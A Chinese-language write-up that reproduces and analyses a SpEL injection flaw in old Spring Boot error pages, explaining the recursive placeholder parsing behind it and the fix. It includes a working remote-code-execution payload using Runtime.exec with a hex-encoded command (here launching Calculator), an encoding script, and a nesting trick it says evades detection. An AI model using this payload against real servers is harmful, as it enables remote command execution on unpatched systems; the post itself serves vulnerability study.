低版本SpringBoot-SpEL表达式注入漏洞复现分析 {#低版本SpringBoot-SpEL表达式注入漏洞复现分析}
影响版本 {#影响版本}
SpringBoot 1.1.0-1.1.12
SpringBoot 1.2.0-1.2.7
SpringBoot 1.3.0
利用条件是使用了springboot的默认错误页(Whitelabel Error Page),漏洞点在:org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
触发原因 {#触发原因}
在SpringBoot的自定义错误页面,功能是页面返回错误,并提供详细信息,信息中包括错误status("status"->500)、时间戳("timestamp"->"Fri Dec.....")、错误信息("error"->"Internal Server Error")、和用户输入的参数("message"->"abcd"),这些参数在模板文件中以类似于以下形式存在:"Error 1234 ${status}---${timestamp}---${error}---${message}"。
关于漏洞的原理:
- spring boot 处理参数值出错,流程进入
org.springframework.util.PropertyPlaceholderHelper
类中- 此时 URL 中的参数值会用
parseStringValue
方法进行递归解析- 其中
${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
但主要的原因在于这里使用了递归,也就是说如果参数名中还包含${和}的话,这个解析引擎会再次递归一次,再次解析这个值,如,模板中有个值为${${abc}},由于使用了递归,解析引擎会对其解析两次,第一层去掉最外层的{}解析成${abc},然后将其作为参数进行第二次解析。在第二次解析中将里层的{}去掉,变成abc
分析 {#分析}
简简单单写个抛出异常的控制器即可,这里访问下面这个url,页面当中就会出现36
|-----------|--------------------------------------------|
| 1
| http://127.0.0.1:8080/?test=${6*6}
|
|-------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8
| public String abc(HttpServletRequest request){ try { throw new NullPointerException(request.getParameter("cmd")); }catch (Exception e){ }
|
进入正题,在org.springframework.util.PropertyPlaceholderHelper#parseStringValue
首先会提取出${}
当中的内容,这里第一个是从模板里取出的所以只能是timestamp
\error
\status
\message
以timestamp为例子,这里在得到SpEL解析的结果后下面还会再对这个值继续进行SpEL表达式解析,很骚,调用的是parseStringValue,也就是一个递归的过程因此造成了SpEL的递归解析因此最终导致漏洞的产生,知道这个过程以后我们甚至可以让payload变得更难被探测,比如${${1*2}*6}
会返回12
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
|-----------------------|------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7
| # coding: utf-8 result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
|
这里执行open -na Calculator
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1
| ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
|
补丁分析 {#补丁分析}
补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析